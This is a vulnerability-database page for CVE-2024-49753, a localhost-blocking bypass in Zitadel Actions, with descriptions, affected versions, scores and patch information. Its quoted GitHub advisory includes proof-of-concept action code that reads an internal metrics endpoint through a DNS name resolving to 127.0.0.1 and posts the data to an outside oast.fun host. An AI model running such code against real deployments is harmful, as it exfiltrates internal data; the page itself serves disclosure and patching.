CVE-2024-49753
JSON

5.9medium

Denied Host Validation Bypass in Zitadel Actions

Severity
5.9medium CVSS:3.1 by GitHub_M
Exploit likelihood
1.00% (higher than 62% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-6cf5-w9h3-4rqvGO-2024-3216

Description

Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.

Affected

Product or packageVersionsReported by
zitadel zitadel>= 2.64, < 2.64.1, >= 2.63, < 2.63.6, >= 2.62, < 2.62.8, >= 2.61, < 2.61.4, >= 2.60, < 2.60.4, >= 2.59, < 2.59.5, < 2.58.7, from 2.64 before 2.64.1 and 12 moreCVE List, NVD
github.com/zitadel/zitadel (Go)from 2.64.0 before 2.64.1, from 2.63.0 before 2.63.6, from 2.62.0 before 2.62.8, from 2.61.0 before 2.61.4, from 2.60.0 before 2.60.4, from 2.59.0 before 2.59.5, from 1.80.1 before 2.58.7, before 0.0.0-20241022141644-79fb4cc1cc6e and 2 moreGitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M5.9medium CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
GitHub5.9medium CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
NVD9.1critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Classification

CWE-20

SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.

What each source says

CVE List

Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.

GitHub Advisory Database
Summary

A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details

While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. image

The relevant action code demonstrates the attempted request to 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'data': user,
        }),
    });
    logger.log(api_r.body);
}

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. image

The modified action code uses the custom domain instead of 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'user': user,
        }),
    });
    logger.log(api_r.body);
}

image

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. image

Impact

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.

Patches

2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to @prdp1137 for reporting this!

Go Vulnerability Database

Denied Host Validation Bypass in Zitadel Actions in github.com/zitadel/zitadel.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/zitadel/zitadel before v2.58.7, from v2.59.0 before v2.59.5, from v2.60.0 before v2.60.4, from v2.61.0 before v2.61.4, from v2.62.0 before v2.62.8, from v2.63.0 before v2.63.6, from v2.64.0 before v2.64.1.

NVD (es)

Zitadel es un software de infraestructura de identidad de código abierto. Las versiones anteriores a 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5 y 2.58.7 tienen una falla en el mecanismo de validación de URL de las acciones de Zitadel que permite eludir las restricciones destinadas a bloquear las solicitudes a localhost (127.0.0.1). La comprobación isHostBlocked, diseñada para evitar dichas solicitudes, se puede eludir mediante la creación de un registro DNS que se resuelva en 127.0.0.1. Esto permite que las acciones envíen solicitudes a localhost a pesar de las medidas de seguridad previstas. Esta vulnerabilidad potencialmente permite el acceso no autorizado a endpoints internos no seguros, que pueden contener información o funcionalidades confidenciales. Las versiones 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5 y 2.58.7 contienen un parche. No se conocen workarounds disponibles.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-49753 changed 2024-10-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-6cf5-w9h3-4rqv changed 2025-07-09CC-BY-4.0
Go Vulnerability DatabaseGO-2024-3216 changed 2024-10-28CC-BY-4.0
NVDCVE-2024-49753 changed 2026-06-17Public domain